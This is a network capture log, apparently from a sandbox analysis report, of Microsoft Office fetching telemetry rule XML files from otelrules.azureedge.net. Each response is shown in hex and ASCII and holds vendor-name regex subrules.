2024-10-29 03:53:06 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49800	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:06 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:06 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035306Z-17c5cb586f6wnfhvhw6gvetfh400000005fg0000000038ra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:06 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49801	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:06 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 5e46bd4b-a01e-003d-3101-2898d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035306Z-17c5cb586f65j4snvy39m6qus400000001bg000000004af7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:06 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 4900665d-501e-0029-5111-29d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035306Z-15b8d89586fhl2qtatrz3vfkf00000000c1g00000000ecs6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49802	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:06 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:06 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 16672fc1-b01e-0001-32e8-2846e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035306Z-r197bdfb6b4bs5qf58wn14wgm000000004zg000000007cth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:06 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49804	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:07 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:07 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035307Z-16849878b78wv88bk51myq5vxc000000067000000000f3pg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:07 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49805	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:07 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:07 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c417f1b6-b01e-0084-279b-27d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035307Z-15b8d89586f42m673h1quuee4s0000000a3g000000004t68 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:07 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49806	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:07 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:07 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 174f78f2-a01e-0032-607a-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035307Z-15b8d89586fzhrwgk23ex2bvhw00000008yg000000002gkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:07 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:07 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:07 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035307Z-16849878b78q9m8bqvwuva4svc00000004k00000000062sm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:07 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:07 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:07 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035307Z-16849878b78q9m8bqvwuva4svc00000004d000000000pyky x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:07 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:08 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:08 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 1eef1b3e-901e-002a-4bcc-267a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035308Z-r197bdfb6b42rt68rzg9338g1g000000075000000000d31w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:08 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49810	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:08 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035308Z-16849878b78bcpfn2qf7sm6hsn00000007mg000000008duu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:08 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
